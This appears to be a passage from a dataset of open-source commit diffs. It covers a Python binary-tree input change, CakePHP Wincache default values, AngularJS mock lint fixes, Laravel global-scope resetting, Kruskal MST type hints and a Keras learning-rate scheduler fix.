<ide> while not q.empty():
<ide> node_found = q.get()
<ide> print("Enter the left node of %s: " % node_found.data, end="")
<del> check=input()
<del> if check=='N' or check =='n':
<add> check = raw_input().strip().lower()
<add> if check == 'n':
<ide> return tree_node
<ide> left_data = int(check)
<ide> left_node = TreeNode(left_data)
<ide> node_found.left = left_node
<ide> q.put(left_node)
<ide> print("Enter the right node of %s: " % node_found.data, end="")
<del> check = input()
<del> if check == 'N' or check == 'n':
<add> check = raw_input().strip().lower()
<add> if check == 'n':
<ide> return tree_node
<ide> right_data = int(check)
<ide> right_node = TreeNode(right_data)
<ide> def level_order(node):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del>
<ide> print("\n********* Binary Tree Traversals ************\n")
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<ide>
<ide> node = build_tree()
<ide> print("\n********* Pre Order Traversal ************")
| 95
|
PHP
|
PHP
|
update wincache to return default values
|
4844597e7131ca426b357b79bf0422765261407e
|
<ide><path>src/Cache/Engine/WincacheEngine.php
<ide> public function set($key, $value, $ttl = null)
<ide> *
<ide> * @param string $key Identifier for the data
<ide> * @param mixed $default Default value to return if the key does not exist.
<del> * @return mixed The cached data, or false if the data doesn't exist,
<add> * @return mixed The cached data, or default value if the data doesn't exist,
<ide> * has expired, or if there was an error fetching it
<ide> */
<ide> public function get($key, $default = null)
<ide> {
<del> $key = $this->_key($key);
<add> $value = wincache_ucache_get($this->_key($key), $success);
<add> if ($success === false) {
<add> return $default;
<add> }
<ide>
<del> return wincache_ucache_get($key);
<add> return $value;
<ide> }
<ide>
<ide> /**
<ide><path>tests/TestCase/Cache/Engine/WincacheEngineTest.php
<ide> public function testReadAndWriteCache()
<ide> Cache::delete('test', 'wincache');
<ide> }
<ide>
<add> /**
<add> * Test get with default value
<add> *
<add> * @return void
<add> */
<add> public function testGetDefaultValue()
<add> {
<add> $wincache = Cache::pool('wincache');
<add> $this->assertFalse($wincache->get('nope', false));
<add> $this->assertNull($wincache->get('nope', null));
<add> $this->assertTrue($wincache->get('nope', true));
<add> $this->assertSame(0, $wincache->get('nope', 0));
<add>
<add> $wincache->set('yep', 0);
<add> $this->assertSame(0, $wincache->get('yep', false));
<add> }
<add>
<ide> /**
<ide> * testExpiry method
<ide> *
<ide> public function testExpiry()
<ide> $this->_configCache(['duration' => 1]);
<ide>
<ide> $result = Cache::read('test', 'wincache');
<del> $this->assertFalse($result);
<add> $this->assertNull($result);
<ide>
<ide> $data = 'this is a test of the emergency broadcasting system';
<ide> $result = Cache::write('other_test', $data, 'wincache');
<ide> $this->assertTrue($result);
<ide>
<ide> sleep(2);
<ide> $result = Cache::read('other_test', 'wincache');
<del> $this->assertFalse($result);
<add> $this->assertNull($result);
<ide>
<ide> $data = 'this is a test of the emergency broadcasting system';
<ide> $result = Cache::write('other_test', $data, 'wincache');
<ide> $this->assertTrue($result);
<ide>
<ide> sleep(2);
<ide> $result = Cache::read('other_test', 'wincache');
<del> $this->assertFalse($result);
<add> $this->assertNull($result);
<ide> }
<ide>
<ide> /**
<ide> public function testClear()
<ide>
<ide> $result = Cache::clear('wincache');
<ide> $this->assertTrue($result);
<del> $this->assertFalse(Cache::read('some_value', 'wincache'));
<add> $this->assertNull(Cache::read('some_value', 'wincache'));
<ide> $this->assertEquals('safe', wincache_ucache_get('not_cake'));
<ide> }
<ide>
<ide> public function testGroupsReadWrite()
<ide> $this->assertEquals('value', Cache::read('test_groups', 'wincache_groups'));
<ide>
<ide> wincache_ucache_inc('test_group_a');
<del> $this->assertFalse(Cache::read('test_groups', 'wincache_groups'));
<add> $this->assertNull(Cache::read('test_groups', 'wincache_groups'));
<ide> $this->assertTrue(Cache::write('test_groups', 'value2', 'wincache_groups'));
<ide> $this->assertEquals('value2', Cache::read('test_groups', 'wincache_groups'));
<ide>
<ide> wincache_ucache_inc('test_group_b');
<del> $this->assertFalse(Cache::read('test_groups', 'wincache_groups'));
<add> $this->assertNull(Cache::read('test_groups', 'wincache_groups'));
<ide> $this->assertTrue(Cache::write('test_groups', 'value3', 'wincache_groups'));
<ide> $this->assertEquals('value3', Cache::read('test_groups', 'wincache_groups'));
<ide> }
<ide> public function testGroupDelete()
<ide> $this->assertEquals('value', Cache::read('test_groups', 'wincache_groups'));
<ide> $this->assertTrue(Cache::delete('test_groups', 'wincache_groups'));
<ide>
<del> $this->assertFalse(Cache::read('test_groups', 'wincache_groups'));
<add> $this->assertNull(Cache::read('test_groups', 'wincache_groups'));
<ide> }
<ide>
<ide> /**
<ide> public function testGroupClear()
<ide>
<ide> $this->assertTrue(Cache::write('test_groups', 'value', 'wincache_groups'));
<ide> $this->assertTrue(Cache::clearGroup('group_a', 'wincache_groups'));
<del> $this->assertFalse(Cache::read('test_groups', 'wincache_groups'));
<add> $this->assertNull(Cache::read('test_groups', 'wincache_groups'));
<ide>
<ide> $this->assertTrue(Cache::write('test_groups', 'value2', 'wincache_groups'));
<ide> $this->assertTrue(Cache::clearGroup('group_b', 'wincache_groups'));
<del> $this->assertFalse(Cache::read('test_groups', 'wincache_groups'));
<add> $this->assertNull(Cache::read('test_groups', 'wincache_groups'));
<ide> }
<ide> }
| 2
|
Javascript
|
Javascript
|
make jslint and igor happier
|
9a8dbfef5151e8e92dc010a597b670e7687ebe9b
|
<ide><path>src/angular-mocks.js
<ide> angular.mock = {};
<ide> * - $browser.defer — enables testing of code that uses
<ide> * {@link angular.module.ng.$defer $defer} for executing functions via the `setTimeout` api.
<ide> */
<del>angular.mock.$BrowserProvider = function(){
<add>angular.mock.$BrowserProvider = function() {
<ide> this.$get = function(){
<ide> return new angular.mock.$Browser();
<ide> };
<ide> };
<add>
<ide> angular.mock.$Browser = function() {
<ide> var self = this;
<ide>
<ide> angular.mock.$Browser = function() {
<ide> self.$$scripts.push(script);
<ide> return script;
<ide> };
<del>}
<add>};
<ide> angular.mock.$Browser.prototype = {
<ide>
<ide> /**
<ide> angular.mock.$Browser.prototype = {
<ide> * information.
<ide> */
<ide>
<del>angular.mock.$ExceptionHandlerProvider = function(){
<add>angular.mock.$ExceptionHandlerProvider = function() {
<ide> var handler;
<ide>
<ide> /**
<ide> angular.mock.$ExceptionHandlerProvider = function(){
<ide> * See {@link angular.module.ngMock.$log#assertEmpty assertEmpty()} and
<ide> * {@link angular.module.ngMock.$log#reset reset()}
<ide> */
<del> this.mode = function(mode){
<add> this.mode = function(mode) {
<ide> switch(mode) {
<ide> case 'rethrow':
<ide> handler = function(e) {
<ide> throw e;
<del> }
<add> };
<ide> break;
<ide> case 'log':
<ide> var errors = [];
<ide> handler = function(e) {
<ide> errors.push(e);
<del> }
<add> };
<ide> handler.errors = errors;
<ide> break;
<ide> default:
<ide> throw Error("Unknown mode '" + mode + "', only 'log'/'rethrow' modes are allowed!");
<ide> }
<ide> };
<ide>
<del> this.$get = function(){
<add> this.$get = function() {
<ide> return handler;
<ide> };
<ide>
<ide> angular.mock.$ExceptionHandlerProvider = function(){
<ide> * level-specific log function, e.g. for level `error` the array is exposed as `$log.error.logs`.
<ide> *
<ide> */
<del>angular.mock.$logProvider = function(){
<add>angular.mock.$LogProvider = function() {
<ide>
<ide> function concat(array1, array2, index) {
<ide> return array1.concat(Array.prototype.slice.call(array2, index));
<ide> angular.mock.$logProvider = function(){
<ide> * @description
<ide> * Reset all of the logging arrays to empty.
<ide> */
<del> $log.reset = function (){
<add> $log.reset = function () {
<ide> /**
<ide> * @ngdoc property
<ide> * @name angular.module.ngMock.$log#log.logs
<ide> angular.mock.$logProvider = function(){
<ide> if (errors.length) {
<ide> errors.unshift("Expected $log to be empty! Either a message was logged unexpectedly, or an expected " +
<ide> "log message was not checked and removed:");
<del> errors.push('')
<add> errors.push('');
<ide> throw new Error(errors.join('\n---------\n'));
<ide> }
<ide> };
<ide> angular.mock.TzDate = function (offset, timestamp) {
<ide> });
<ide>
<ide> return self;
<del>}
<add>};
<ide>
<ide> //make "tzDateInstance instanceof Date" return true
<ide> angular.mock.TzDate.prototype = Date.prototype;
<ide> angular.mock.TzDate.prototype = Date.prototype;
<ide> * @param {*} object - any object to turn into string.
<ide> * @return a serialized string of the argument
<ide> */
<del>angular.mock.dump = function(object){
<add>angular.mock.dump = function(object) {
<ide> return serialize(object);
<ide>
<ide> function serialize(object) {
<ide> var out;
<ide>
<ide> if (angular.isElement(object)) {
<ide> object = angular.element(object);
<del> out = angular.element('<div></div>')
<del> angular.forEach(object, function(element){
<add> out = angular.element('<div></div>');
<add> angular.forEach(object, function(element) {
<ide> out.append(angular.element(element).clone());
<ide> });
<ide> out = out.html();
<ide> function createHttpBackendMock($delegate, $defer) {
<ide> return angular.isNumber(status)
<ide> ? [status, data, headers]
<ide> : [200, status, data];
<del> }
<add> };
<ide> }
<ide>
<ide> // TODO(vojta): change params to: method, url, data, headers, callback
<ide> function MockXhr() {
<ide> * mocks to the {@link angular.module.AUTO.$injector $injector}.
<ide> */
<ide> angular.module('ngMock', ['ng']).service({
<del> '$browser': angular.mock.$BrowserProvider,
<del> '$exceptionHandler': angular.mock.$ExceptionHandlerProvider,
<del> '$log': angular.mock.$logProvider,
<del> '$httpBackend': angular.mock.$HttpBackendProvider
<add> $browser: angular.mock.$BrowserProvider,
<add> $exceptionHandler: angular.mock.$ExceptionHandlerProvider,
<add> $log: angular.mock.$LogProvider,
<add> $httpBackend: angular.mock.$HttpBackendProvider
<ide> });
<ide>
<ide>
<ide> angular.mock.e2e.$httpBackendDecorator = ['$delegate', '$defer', createHttpBacke
<ide>
<ide>
<ide>
<del>window.jstestdriver && (function(window){
<add>window.jstestdriver && (function(window) {
<ide> /**
<ide> * Global method to output any number of objects into JSTD console. Useful for debugging.
<ide> */
<ide> window.dump = function() {
<ide> var args = [];
<del> angular.forEach(arguments, function(arg){
<add> angular.forEach(arguments, function(arg) {
<ide> args.push(angular.mock.dump(arg));
<ide> });
<ide> jstestdriver.console.log.apply(jstestdriver.console, args);
<ide> window.jstestdriver && (function(window){
<ide> * });
<ide> *
<ide> * // Argument inference is used to inject the $rootScope as well as the version
<del> * it('should provide a version', inject(function($rootScope, version){
<add> * it('should provide a version', inject(function($rootScope, version) {
<ide> * expect(version).toEqual('v1.0.1');
<ide> * expect($rootScope.value).toEqual(123);
<ide> * });
<ide> window.jstestdriver && (function(window){
<ide> * @param {*} fns... any number of functions which will be injected using the injector.
<ide> * @return a method
<ide> */
<del>window.jasmine && (function(window){
<del> window.inject = function (){
<add>window.jasmine && (function(window) {
<add> window.inject = function () {
<ide> var blockFns = Array.prototype.slice.call(arguments, 0);
<del> return function(){
<add> return function() {
<ide> var injector = this.$injector;
<ide> if (!injector) {
<ide> injector = this.$injector = angular.injector('ng', 'ngMock');
| 1
|
PHP
|
PHP
|
reset global scopes when booted models get cleared
|
84bd1731c43a941758e486e68b890d5b6dbde73c
|
<ide><path>src/Illuminate/Database/Eloquent/Model.php
<ide> protected static function bootTraits()
<ide> public static function clearBootedModels()
<ide> {
<ide> static::$booted = [];
<add> static::$globalScopes = [];
<ide> }
<ide>
<ide> /**
| 1
|
Python
|
Python
|
fix mypy errors at kruskal_2
|
256c319ce231eb0a158ec3506e2236d48ca4d6a5
|
<ide><path>graphs/minimum_spanning_tree_kruskal2.py
<ide> from __future__ import annotations
<ide>
<add>from typing import Generic, TypeVar
<ide>
<del>class DisjointSetTreeNode:
<add>T = TypeVar("T")
<add>
<add>
<add>class DisjointSetTreeNode(Generic[T]):
<ide> # Disjoint Set Node to store the parent and rank
<del> def __init__(self, key: int) -> None:
<del> self.key = key
<add> def __init__(self, data: T) -> None:
<add> self.data = data
<ide> self.parent = self
<ide> self.rank = 0
<ide>
<ide>
<del>class DisjointSetTree:
<add>class DisjointSetTree(Generic[T]):
<ide> # Disjoint Set DataStructure
<del> def __init__(self):
<add> def __init__(self) -> None:
<ide> # map from node name to the node object
<del> self.map = {}
<add> self.map: dict[T, DisjointSetTreeNode[T]] = {}
<ide>
<del> def make_set(self, x: int) -> None:
<add> def make_set(self, data: T) -> None:
<ide> # create a new set with x as its member
<del> self.map[x] = DisjointSetTreeNode(x)
<add> self.map[data] = DisjointSetTreeNode(data)
<ide>
<del> def find_set(self, x: int) -> DisjointSetTreeNode:
<add> def find_set(self, data: T) -> DisjointSetTreeNode[T]:
<ide> # find the set x belongs to (with path-compression)
<del> elem_ref = self.map[x]
<add> elem_ref = self.map[data]
<ide> if elem_ref != elem_ref.parent:
<del> elem_ref.parent = self.find_set(elem_ref.parent.key)
<add> elem_ref.parent = self.find_set(elem_ref.parent.data)
<ide> return elem_ref.parent
<ide>
<del> def link(self, x: int, y: int) -> None:
<add> def link(
<add> self, node1: DisjointSetTreeNode[T], node2: DisjointSetTreeNode[T]
<add> ) -> None:
<ide> # helper function for union operation
<del> if x.rank > y.rank:
<del> y.parent = x
<add> if node1.rank > node2.rank:
<add> node2.parent = node1
<ide> else:
<del> x.parent = y
<del> if x.rank == y.rank:
<del> y.rank += 1
<add> node1.parent = node2
<add> if node1.rank == node2.rank:
<add> node2.rank += 1
<ide>
<del> def union(self, x: int, y: int) -> None:
<add> def union(self, data1: T, data2: T) -> None:
<ide> # merge 2 disjoint sets
<del> self.link(self.find_set(x), self.find_set(y))
<add> self.link(self.find_set(data1), self.find_set(data2))
<ide>
<ide>
<del>class GraphUndirectedWeighted:
<del> def __init__(self):
<add>class GraphUndirectedWeighted(Generic[T]):
<add> def __init__(self) -> None:
<ide> # connections: map from the node to the neighbouring nodes (with weights)
<del> self.connections = {}
<add> self.connections: dict[T, dict[T, int]] = {}
<ide>
<del> def add_node(self, node: int) -> None:
<add> def add_node(self, node: T) -> None:
<ide> # add a node ONLY if its not present in the graph
<ide> if node not in self.connections:
<ide> self.connections[node] = {}
<ide>
<del> def add_edge(self, node1: int, node2: int, weight: int) -> None:
<add> def add_edge(self, node1: T, node2: T, weight: int) -> None:
<ide> # add an edge with the given weight
<ide> self.add_node(node1)
<ide> self.add_node(node2)
<ide> self.connections[node1][node2] = weight
<ide> self.connections[node2][node1] = weight
<ide>
<del> def kruskal(self) -> GraphUndirectedWeighted:
<add> def kruskal(self) -> GraphUndirectedWeighted[T]:
<ide> # Kruskal's Algorithm to generate a Minimum Spanning Tree (MST) of a graph
<ide> """
<ide> Details: https://en.wikipedia.org/wiki/Kruskal%27s_algorithm
<ide>
<ide> Example:
<del>
<del> >>> graph = GraphUndirectedWeighted()
<del> >>> graph.add_edge(1, 2, 1)
<del> >>> graph.add_edge(2, 3, 2)
<del> >>> graph.add_edge(3, 4, 1)
<del> >>> graph.add_edge(3, 5, 100) # Removed in MST
<del> >>> graph.add_edge(4, 5, 5)
<del> >>> assert 5 in graph.connections[3]
<del> >>> mst = graph.kruskal()
<add> >>> g1 = GraphUndirectedWeighted[int]()
<add> >>> g1.add_edge(1, 2, 1)
<add> >>> g1.add_edge(2, 3, 2)
<add> >>> g1.add_edge(3, 4, 1)
<add> >>> g1.add_edge(3, 5, 100) # Removed in MST
<add> >>> g1.add_edge(4, 5, 5)
<add> >>> assert 5 in g1.connections[3]
<add> >>> mst = g1.kruskal()
<ide> >>> assert 5 not in mst.connections[3]
<add>
<add> >>> g2 = GraphUndirectedWeighted[str]()
<add> >>> g2.add_edge('A', 'B', 1)
<add> >>> g2.add_edge('B', 'C', 2)
<add> >>> g2.add_edge('C', 'D', 1)
<add> >>> g2.add_edge('C', 'E', 100) # Removed in MST
<add> >>> g2.add_edge('D', 'E', 5)
<add> >>> assert 'E' in g2.connections["C"]
<add> >>> mst = g2.kruskal()
<add> >>> assert 'E' not in mst.connections['C']
<ide> """
<ide>
<ide> # getting the edges in ascending order of weights
<ide> def kruskal(self) -> GraphUndirectedWeighted:
<ide> seen.add((end, start))
<ide> edges.append((start, end, self.connections[start][end]))
<ide> edges.sort(key=lambda x: x[2])
<add>
<ide> # creating the disjoint set
<del> disjoint_set = DisjointSetTree()
<del> [disjoint_set.make_set(node) for node in self.connections]
<add> disjoint_set = DisjointSetTree[T]()
<add> for node in self.connections:
<add> disjoint_set.make_set(node)
<add>
<ide> # MST generation
<ide> num_edges = 0
<ide> index = 0
<del> graph = GraphUndirectedWeighted()
<add> graph = GraphUndirectedWeighted[T]()
<ide> while num_edges < len(self.connections) - 1:
<ide> u, v, w = edges[index]
<ide> index += 1
<del> parentu = disjoint_set.find_set(u)
<del> parentv = disjoint_set.find_set(v)
<del> if parentu != parentv:
<add> parent_u = disjoint_set.find_set(u)
<add> parent_v = disjoint_set.find_set(v)
<add> if parent_u != parent_v:
<ide> num_edges += 1
<ide> graph.add_edge(u, v, w)
<ide> disjoint_set.union(u, v)
<ide> return graph
<del>
<del>
<del>if __name__ == "__main__":
<del> import doctest
<del>
<del> doctest.testmod()
| 1
|
Python
|
Python
|
update lr in learningratescheduler.
|
38231e8a434f1841b2e5027cc4a48501ac517d1e
|
<ide><path>keras/callbacks.py
<ide> def on_epoch_begin(self, epoch, logs=None):
<ide> if not isinstance(lr, (float, np.float32, np.float64)):
<ide> raise ValueError('The output of the "schedule" function '
<ide> 'should be float.')
<add> K.set_value(self.model.optimizer.lr, lr)
<ide> if self.verbose > 0:
<ide> print('\nEpoch %05d: LearningRateScheduler reducing learning '
<ide> 'rate to %s.' % (epoch + 1, lr))
| 1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.